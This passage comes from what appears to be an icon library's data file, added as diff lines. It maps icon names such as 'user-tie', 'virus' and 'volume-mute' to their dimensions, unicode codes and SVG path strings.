[], "f504", "M325.4 289.2L224 390.6 122.6 289.2C54 295.3 0 352.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-70.2-54-127.1-122.6-133.2zM32 192c27.3 0 51.8-11.5 69.2-29.7 15.1 53.9 64 93.7 122.8 93.7 70.7 0 128-57.3 128-128S294.7 0 224 0c-50.4 0-93.6 29.4-114.5 71.8C92.1 47.8 64 32 32 32c0 33.4 17.1 62.8 43.1 80-26 17.2-43.1 46.6-43.1 80zm144-96h96c17.7 0 32 14.3 32 32H144c0-17.7 14.3-32 32-32z"], + "user-nurse": [448, 512, [], "f82f", "M319.41,320,224,415.39,128.59,320C57.1,323.1,0,381.6,0,453.79A58.21,58.21,0,0,0,58.21,512H389.79A58.21,58.21,0,0,0,448,453.79C448,381.6,390.9,323.1,319.41,320ZM224,304A128,128,0,0,0,352,176V65.82a32,32,0,0,0-20.76-30L246.47,4.07a64,64,0,0,0-44.94,0L116.76,35.86A32,32,0,0,0,96,65.82V176A128,128,0,0,0,224,304ZM184,71.67a5,5,0,0,1,5-5h21.67V45a5,5,0,0,1,5-5h16.66a5,5,0,0,1,5,5V66.67H259a5,5,0,0,1,5,5V88.33a5,5,0,0,1-5,5H237.33V115a5,5,0,0,1-5,5H215.67a5,5,0,0,1-5-5V93.33H189a5,5,0,0,1-5-5ZM144,160H304v16a80,80,0,0,1-160,0Z"], + "user-plus": [640, 512, [], "f234", "M624 208h-64v-64c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v64h-64c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h64v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-64h64c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"], + "user-secret": [448, 512, [], "f21b", "M383.9 308.3l23.9-62.6c4-10.5-3.7-21.7-15-21.7h-58.5c11-18.9 17.8-40.6 17.8-64v-.3c39.2-7.8 64-19.1 64-31.7 0-13.3-27.3-25.1-70.1-33-9.2-32.8-27-65.8-40.6-82.8-9.5-11.9-25.9-15.6-39.5-8.8l-27.6 13.8c-9 4.5-19.6 4.5-28.6 0L182.1 3.4c-13.6-6.8-30-3.1-39.5 8.8-13.5 17-31.4 50-40.6 82.8-42.7 7.9-70 19.7-70 33 0 12.6 24.8 23.9 64 31.7v.3c0 23.4 6.8 45.1 17.8 64H56.3c-11.5 0-19.2 11.7-14.7 22.3l25.8 60.2C27.3 329.8 0 372.7 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-48.4-25.8-90.4-64.1-114.1zM176 480l-41.6-192 49.6 32 24 40-32 120zm96 0l-32-120 24-40 49.6-32L272 480zm41.7-298.5c-3.9 11.9-7 24.6-16.5 33.4-10.1 9.3-48 22.4-64-25-2.8-8.4-15.4-8.4-18.3 0-17 50.2-56 32.4-64 25-9.5-8.8-12.7-21.5-16.5-33.4-.8-2.5-6.3-5.7-6.3-5.8v-10.8c28.3 3.6 61 5.8 96 5.8s67.7-2.1 96-5.8v10.8c-.1.1-5.6 3.2-6.4 5.8z"], + "user-shield": [640, 512, [], "f505", "M622.3 271.1l-115.2-45c-4.1-1.6-12.6-3.7-22.2 0l-115.2 45c-10.7 4.2-17.7 14-17.7 24.9 0 111.6 68.7 188.8 132.9 213.9 9.6 3.7 18 1.6 22.2 0C558.4 489.9 640 420.5 640 296c0-10.9-7-20.7-17.7-24.9zM496 462.4V273.3l95.5 37.3c-5.6 87.1-60.9 135.4-95.5 151.8zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm96 40c0-2.5.8-4.8 1.1-7.2-2.5-.1-4.9-.8-7.5-.8h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c6.8 0 13.3-1.5 19.2-4-54-42.9-99.2-116.7-99.2-212z"], + "user-slash": [640, 512, [], "f506", "M633.8 458.1L362.3 248.3C412.1 230.7 448 183.8 448 128 448 57.3 390.7 0 320 0c-67.1 0-121.5 51.8-126.9 117.4L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM96 422.4V464c0 26.5 21.5 48 48 48h350.2L207.4 290.3C144.2 301.3 96 356 96 422.4z"], + "user-tag": [640, 512, [], "f507", "M630.6 364.9l-90.3-90.2c-12-12-28.3-18.7-45.3-18.7h-79.3c-17.7 0-32 14.3-32 32v79.2c0 17 6.7 33.2 18.7 45.2l90.3 90.2c12.5 12.5 32.8 12.5 45.3 0l92.5-92.5c12.6-12.5 12.6-32.7.1-45.2zm-182.8-21c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24c0 13.2-10.7 24-24 24zm-223.8-88c70.7 0 128-57.3 128-128C352 57.3 294.7 0 224 0S96 57.3 96 128c0 70.6 57.3 127.9 128 127.9zm127.8 111.2V294c-12.2-3.6-24.9-6.2-38.2-6.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 287.9 0 348.1 0 422.3v41.6c0 26.5 21.5 48 48 48h352c15.5 0 29.1-7.5 37.9-18.9l-58-58c-18.1-18.1-28.1-42.2-28.1-67.9z"], + "user-tie": [448, 512, [], "f508", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm95.8 32.6L272 480l-32-136 32-56h-96l32 56-32 136-47.8-191.4C56.9 292 0 350.3 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-72.1-56.9-130.4-128.2-133.8z"], + "user-times": [640, 512, [], "f235", "M589.6 240l45.6-45.6c6.3-6.3 6.3-16.5 0-22.8l-22.8-22.8c-6.3-6.3-16.5-6.3-22.8 0L544 194.4l-45.6-45.6c-6.3-6.3-16.5-6.3-22.8 0l-22.8 22.8c-6.3 6.3-6.3 16.5 0 22.8l45.6 45.6-45.6 45.6c-6.3 6.3-6.3 16.5 0 22.8l22.8 22.8c6.3 6.3 16.5 6.3 22.8 0l45.6-45.6 45.6 45.6c6.3 6.3 16.5 6.3 22.8 0l22.8-22.8c6.3-6.3 6.3-16.5 0-22.8L589.6 240zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"], + "users": [640, 512, [], "f0c0", "M96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm448 0c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm32 32h-64c-17.6 0-33.5 7.1-45.1 18.6 40.3 22.1 68.9 62 75.1 109.4h66c17.7 0 32-14.3 32-32v-32c0-35.3-28.7-64-64-64zm-256 0c61.9 0 112-50.1 112-112S381.9 32 320 32 208 82.1 208 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zm-223.7-13.4C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z"], + "users-cog": [640, 512, [], "f509", "M610.5 341.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 368.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm224 32c1.9 0 3.7-.5 5.6-.6 8.3-21.7 20.5-42.1 36.3-59.2 7.4-8 17.9-12.6 28.9-12.6 6.9 0 13.7 1.8 19.6 5.3l7.9 4.6c.8-.5 1.6-.9 2.4-1.4 7-14.6 11.2-30.8 11.2-48 0-61.9-50.1-112-112-112S208 82.1 208 144c0 61.9 50.1 112 112 112zm105.2 194.5c-2.3-1.2-4.6-2.6-6.8-3.9-8.2 4.8-15.3 9.8-27.5 9.8-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-10.7-34.5 24.9-49.7 25.8-50.3-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-3.8-2.2-7-5-9.8-8.1-3.3.2-6.5.6-9.8.6-24.6 0-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h255.4c-3.7-6-6.2-12.8-6.2-20.3v-9.2zM173.1 274.6C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z"], + "users-slash": [640, 512, [], "e073", "M132.65,212.32,36.21,137.78A63.4,63.4,0,0,0,32,160a63.84,63.84,0,0,0,100.65,52.32Zm40.44,62.28A63.79,63.79,0,0,0,128,256H64A64.06,64.06,0,0,0,0,320v32a32,32,0,0,0,32,32H97.91A146.62,146.62,0,0,1,173.09,274.6ZM544,224a64,64,0,1,0-64-64A64.06,64.06,0,0,0,544,224ZM500.56,355.11a114.24,114.24,0,0,0-84.47-65.28L361,247.23c41.46-16.3,71-55.92,71-103.23A111.93,111.93,0,0,0,320,32c-57.14,0-103.69,42.83-110.6,98.08L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM128,403.21V432a48,48,0,0,0,48,48H464a47.45,47.45,0,0,0,12.57-1.87L232,289.13C173.74,294.83,128,343.42,128,403.21ZM576,256H512a63.79,63.79,0,0,0-45.09,18.6A146.29,146.29,0,0,1,542,384h66a32,32,0,0,0,32-32V320A64.06,64.06,0,0,0,576,256Z"], + "utensil-spoon": [512, 512, [], "f2e5", "M480.1 31.9c-55-55.1-164.9-34.5-227.8 28.5-49.3 49.3-55.1 110-28.8 160.4L9 413.2c-11.6 10.5-12.1 28.5-1 39.5L59.3 504c11 11 29.1 10.5 39.5-1.1l192.4-214.4c50.4 26.3 111.1 20.5 160.4-28.8 63-62.9 83.6-172.8 28.5-227.8z"], + "utensils": [416, 512, [], "f2e7", "M207.9 15.2c.8 4.7 16.1 94.5 16.1 128.8 0 52.3-27.8 89.6-68.9 104.6L168 486.7c.7 13.7-10.2 25.3-24 25.3H80c-13.7 0-24.7-11.5-24-25.3l12.9-238.1C27.7 233.6 0 196.2 0 144 0 109.6 15.3 19.9 16.1 15.2 19.3-5.1 61.4-5.4 64 16.3v141.2c1.3 3.4 15.1 3.2 16 0 1.4-25.3 7.9-139.2 8-141.8 3.3-20.8 44.7-20.8 47.9 0 .2 2.7 6.6 116.5 8 141.8.9 3.2 14.8 3.4 16 0V16.3c2.6-21.6 44.8-21.4 48-1.1zm119.2 285.7l-15 185.1c-1.2 14 9.9 26 23.9 26h56c13.3 0 24-10.7 24-24V24c0-13.2-10.7-24-24-24-82.5 0-221.4 178.5-64.9 300.9z"], + "vector-square": [512, 512, [], "f5cb", "M512 128V32c0-17.67-14.33-32-32-32h-96c-17.67 0-32 14.33-32 32H160c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32v192c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32h192c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32V160c17.67 0 32-14.33 32-32zm-96-64h32v32h-32V64zM64 64h32v32H64V64zm32 384H64v-32h32v32zm352 0h-32v-32h32v32zm-32-96h-32c-17.67 0-32 14.33-32 32v32H160v-32c0-17.67-14.33-32-32-32H96V160h32c17.67 0 32-14.33 32-32V96h192v32c0 17.67 14.33 32 32 32h32v192z"], + "venus": [288, 512, [], "f221", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z"], + "venus-double": [512, 512, [], "f226", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80zm336 140.4V368h36c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-36v36c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-36h-36c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h36v-51.6c-21.2-4.8-40.6-14.3-57.2-27.3 14-16.7 25-36 32.1-57.1 14.5 14.8 34.7 24 57.1 24 44.1 0 80-35.9 80-80s-35.9-80-80-80c-22.3 0-42.6 9.2-57.1 24-7.1-21.1-18-40.4-32.1-57.1C303.4 43.6 334.3 32 368 32c79.5 0 144 64.5 144 144 0 68.5-47.9 125.9-112 140.4z"], + "venus-mars": [576, 512, [], "f228", "M564 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C422.5 72.1 396.2 64 368 64c-33.7 0-64.6 11.6-89.2 30.9 14 16.7 25 36 32.1 57.1 14.5-14.8 34.7-24 57.1-24 44.1 0 80 35.9 80 80s-35.9 80-80 80c-22.3 0-42.6-9.2-57.1-24-7.1 21.1-18 40.4-32.1 57.1 24.5 19.4 55.5 30.9 89.2 30.9 79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 64C64.5 64 0 128.5 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.6 112-71.9 112-140.4 0-79.5-64.5-144-144-144zm0 224c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "vest": [448, 512, [], "e085", "M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a24.021,24.021,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A24.021,24.021,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.564A151.518,151.518,0,0,0,224,86.234a151.55,151.55,0,0,0,73.812-19.672L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM131.312,371.312l-48,48a16,16,0,0,1-22.624-22.624l48-48a16,16,0,0,1,22.624,22.624Zm256,48a15.992,15.992,0,0,1-22.624,0l-48-48a16,16,0,0,1,22.624-22.624l48,48A15.993,15.993,0,0,1,387.312,419.312Z"], + "vest-patches": [448, 512, [], "e086", "M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a23.982,23.982,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A23.982,23.982,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.561A151.579,151.579,0,0,0,224,86.234a151.565,151.565,0,0,0,73.811-19.668L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM63.5,272.484a12.01,12.01,0,0,1,17-16.968l15.5,15.5,15.5-15.5a12.01,12.01,0,0,1,17,16.968L112.984,288,128.5,303.516a12.01,12.01,0,0,1-17,16.968L96,304.984l-15.5,15.5a12.01,12.01,0,0,1-17-16.968L79.016,288ZM96,456a40,40,0,1,1,40-40A40,40,0,0,1,96,456ZM359.227,335.785,310.7,336a6.671,6.671,0,0,1-6.7-6.7l.215-48.574A24.987,24.987,0,0,1,331.43,256.1c12.789,1.162,22.129,12.619,22.056,25.419l-.037,5.057,5.051-.037c12.826-.035,24.236,9.275,25.4,22.076A24.948,24.948,0,0,1,359.227,335.785Z"], + "vial": [480, 512, [], "f492", "M477.7 186.1L309.5 18.3c-3.1-3.1-8.2-3.1-11.3 0l-34 33.9c-3.1 3.1-3.1 8.2 0 11.3l11.2 11.1L33 316.5c-38.8 38.7-45.1 102-9.4 143.5 20.6 24 49.5 36 78.4 35.9 26.4 0 52.8-10 72.9-30.1l246.3-245.7 11.2 11.1c3.1 3.1 8.2 3.1 11.3 0l34-33.9c3.1-3 3.1-8.1 0-11.2zM318 256H161l148-147.7 78.5 78.3L318 256z"], + "vials": [640, 512, [], "f493", "M72 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H72c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64zm480 384H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM360 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64z"], + "video": [576, 512, [], "f03d", "M336.2 64H47.8C21.4 64 0 85.4 0 111.8v288.4C0 426.6 21.4 448 47.8 448h288.4c26.4 0 47.8-21.4 47.8-47.8V111.8c0-26.4-21.4-47.8-47.8-47.8zm189.4 37.7L416 177.3v157.4l109.6 75.5c21.2 14.6 50.4-.3 50.4-25.8V127.5c0-25.4-29.1-40.4-50.4-25.8z"], + "video-slash": [640, 512, [], "f4e2", "M633.8 458.1l-55-42.5c15.4-1.4 29.2-13.7 29.2-31.1v-257c0-25.5-29.1-40.4-50.4-25.8L448 177.3v137.2l-32-24.7v-178c0-26.4-21.4-47.8-47.8-47.8H123.9L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4L42.7 82 416 370.6l178.5 138c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.5-6.9 4.2-17-2.8-22.4zM32 400.2c0 26.4 21.4 47.8 47.8 47.8h288.4c11.2 0 21.4-4 29.6-10.5L32 154.7v245.5z"], + "vihara": [640, 512, [], "f6a7", "M632.88 400.71L544 352v-64l55.16-17.69c11.79-5.9 11.79-22.72 0-28.62L480 192v-64l27.31-16.3c7.72-7.72 5.61-20.74-4.16-25.62L320 0 136.85 86.07c-9.77 4.88-11.88 17.9-4.16 25.62L160 128v64L40.84 241.69c-11.79 5.9-11.79 22.72 0 28.62L96 288v64L7.12 400.71c-5.42 3.62-7.7 9.63-7 15.29.62 5.01 3.57 9.75 8.72 12.33L64 448v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48l55.15-19.67c5.16-2.58 8.1-7.32 8.72-12.33.71-5.67-1.57-11.68-6.99-15.29zM224 128h192v64H224v-64zm-64 224v-64h320v64H160z"], + "virus": [512, 512, [], "e074", "M483.55,227.55H462c-50.68,0-76.07-61.27-40.23-97.11L437,115.19A28.44,28.44,0,0,0,396.8,75L381.56,90.22c-35.84,35.83-97.11,10.45-97.11-40.23V28.44a28.45,28.45,0,0,0-56.9,0V50c0,50.68-61.27,76.06-97.11,40.23L115.2,75A28.44,28.44,0,0,0,75,115.19l15.25,15.25c35.84,35.84,10.45,97.11-40.23,97.11H28.45a28.45,28.45,0,1,0,0,56.89H50c50.68,0,76.07,61.28,40.23,97.12L75,396.8A28.45,28.45,0,0,0,115.2,437l15.24-15.25c35.84-35.84,97.11-10.45,97.11,40.23v21.54a28.45,28.45,0,0,0,56.9,0V462c0-50.68,61.27-76.07,97.11-40.23L396.8,437A28.45,28.45,0,0,0,437,396.8l-15.25-15.24c-35.84-35.84-10.45-97.12,40.23-97.12h21.54a28.45,28.45,0,1,0,0-56.89ZM224,272a48,48,0,1,1,48-48A48,48,0,0,1,224,272Zm80,56a24,24,0,1,1,24-24A24,24,0,0,1,304,328Z"], + "virus-slash": [640, 512, [], "e075", "M114,227.6H92.4C76.7,227.6,64,240.3,64,256s12.7,28.4,28.4,28.4H114c50.7,0,76.1,61.3,40.2,97.1L139,396.8 c-11.5,10.7-12.2,28.7-1.6,40.2s28.7,12.2,40.2,1.6c0.5-0.5,1.1-1,1.6-1.6l15.2-15.2c35.8-35.8,97.1-10.5,97.1,40.2v21.5 c0,15.7,12.8,28.4,28.5,28.4c15.7,0,28.4-12.7,28.4-28.4V462c0-26.6,17-45.9,38.2-53.4l-244.5-189 C133.7,224.7,123.9,227.5,114,227.6z M617,505.8l19.6-25.3c5.4-7,4.2-17-2.8-22.5L470.6,332c4.2-25.4,24.9-47.5,55.4-47.5h21.5 c15.7,0,28.4-12.7,28.4-28.4s-12.7-28.4-28.4-28.4H526c-50.7,0-76.1-61.3-40.2-97.1l15.2-15.3c10.7-11.5,10-29.5-1.6-40.2 c-10.9-10.1-27.7-10.1-38.6,0l-15.2,15.2c-35.8,35.8-97.1,10.5-97.1-40.2V28.5C348.4,12.7,335.7,0,320,0 c-15.7,0-28.4,12.7-28.4,28.4V50c0,50.7-61.3,76.1-97.1,40.2L179.2,75c-11.1-11.1-29.4-10.6-40.5,0.5L45.5,3.4 c-7-5.4-17-4.2-22.5,2.8L3.4,31.5c-5.4,7-4.2,17,2.8,22.5l588.4,454.7C601.5,514.1,611.6,512.8,617,505.8z M335.4,227.5l-62.9-48.6 c4.9-1.8,10.2-2.8,15.4-2.9c26.5,0,48,21.5,48,48C336,225.2,335.5,226.3,335.4,227.5z"], + "viruses": [640, 512, [], "e076", "M624,352H611.88c-28.51,0-42.79-34.47-22.63-54.63l8.58-8.57a16,16,0,1,0-22.63-22.63l-8.57,8.58C546.47,294.91,512,280.63,512,252.12V240a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.57c20.16,20.16,5.88,54.63-22.63,54.63H368a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.57a16,16,0,1,0,22.63,22.63l8.57-8.58c20.16-20.16,54.63-5.88,54.63,22.63V496a16,16,0,0,0,32,0V483.88c0-28.51,34.47-42.79,54.63-22.63l8.57,8.58a16,16,0,1,0,22.63-22.63l-8.58-8.57C569.09,418.47,583.37,384,611.88,384H624a16,16,0,0,0,0-32ZM480,384a32,32,0,1,1,32-32A32,32,0,0,1,480,384ZM346.51,213.33h16.16a21.33,21.33,0,0,0,0-42.66H346.51c-38,0-57.05-46-30.17-72.84l11.43-11.44A21.33,21.33,0,0,0,297.6,56.23L286.17,67.66c-26.88,26.88-72.84,7.85-72.84-30.17V21.33a21.33,21.33,0,0,0-42.66,0V37.49c0,38-46,57.05-72.84,30.17L86.4,56.23A21.33,21.33,0,0,0,56.23,86.39L67.66,97.83c26.88,26.88,7.85,72.84-30.17,72.84H21.33a21.33,21.33,0,0,0,0,42.66H37.49c38,0,57.05,46,30.17,72.84L56.23,297.6A21.33,21.33,0,1,0,86.4,327.77l11.43-11.43c26.88-26.88,72.84-7.85,72.84,30.17v16.16a21.33,21.33,0,0,0,42.66,0V346.51c0-38,46-57.05,72.84-30.17l11.43,11.43a21.33,21.33,0,0,0,30.17-30.17l-11.43-11.43C289.46,259.29,308.49,213.33,346.51,213.33ZM160,192a32,32,0,1,1,32-32A32,32,0,0,1,160,192Zm80,32a16,16,0,1,1,16-16A16,16,0,0,1,240,224Z"], + "voicemail": [640, 512, [], "f897", "M496 128a144 144 0 0 0-119.74 224H263.74A144 144 0 1 0 144 416h352a144 144 0 0 0 0-288zM64 272a80 80 0 1 1 80 80 80 80 0 0 1-80-80zm432 80a80 80 0 1 1 80-80 80 80 0 0 1-80 80z"], + "volleyball-ball": [512, 512, [], "f45f", "M231.39 243.48a285.56 285.56 0 0 0-22.7-105.7c-90.8 42.4-157.5 122.4-180.3 216.8a249 249 0 0 0 56.9 81.1 333.87 333.87 0 0 1 146.1-192.2zm-36.9-134.4a284.23 284.23 0 0 0-57.4-70.7c-91 49.8-144.8 152.9-125 262.2 33.4-83.1 98.4-152 182.4-191.5zm187.6 165.1c8.6-99.8-27.3-197.5-97.5-264.4-14.7-1.7-51.6-5.5-98.9 8.5A333.87 333.87 0 0 1 279.19 241a285 285 0 0 0 102.9 33.18zm-124.7 9.5a286.33 286.33 0 0 0-80.2 72.6c82 57.3 184.5 75.1 277.5 47.8a247.15 247.15 0 0 0 42.2-89.9 336.1 336.1 0 0 1-80.9 10.4c-54.6-.1-108.9-14.1-158.6-40.9zm-98.3 99.7c-15.2 26-25.7 54.4-32.1 84.2a247.07 247.07 0 0 0 289-22.1c-112.9 16.1-203.3-24.8-256.9-62.1zm180.3-360.6c55.3 70.4 82.5 161.2 74.6 253.6a286.59 286.59 0 0 0 89.7-14.2c0-2 .3-4 .3-6 0-107.8-68.7-199.1-164.6-233.4z"], + "volume-down": [384, 512, [], "f027", "M215.03 72.04L126.06 161H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V89.02c0-21.47-25.96-31.98-40.97-16.98zm123.2 108.08c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 229.28 336 242.62 336 257c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.87z"], + "volume-mute": [512, 512, [], "f6a9", "M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zM461.64 256l45.64-45.64c6.3-6.3 6.3-16.52 0-22.82l-22.82-22.82c-6.3-6.3-16.52-6.3-22.82 0L416 210.36l-45.64-45.64c-6.3-6.3-16.52-6.3-22.82 0l-22.82 22.82c-6.3 6.3-6.3 16.52 0 22.82L370.36 256l-45.63 45.63c-6.3 6.3-6.3 16.52 0 22.82l22.82 22.82c6.3 6.3 16.52 6.3 22.82 0L416 301.64l45.64 45.64c6.3 6.3 16.52 6.3 22.82 0l22.82-22.82c6.3-6.3 6.3-16.52 0-22.82L461.64 256z"], + "volume-off": [256, 512, [], "f026", "M215 71l-89 89H24a24 24 0 0 0-24 24v144a24 24 0 0 0 24 24h102.06L215 441c15 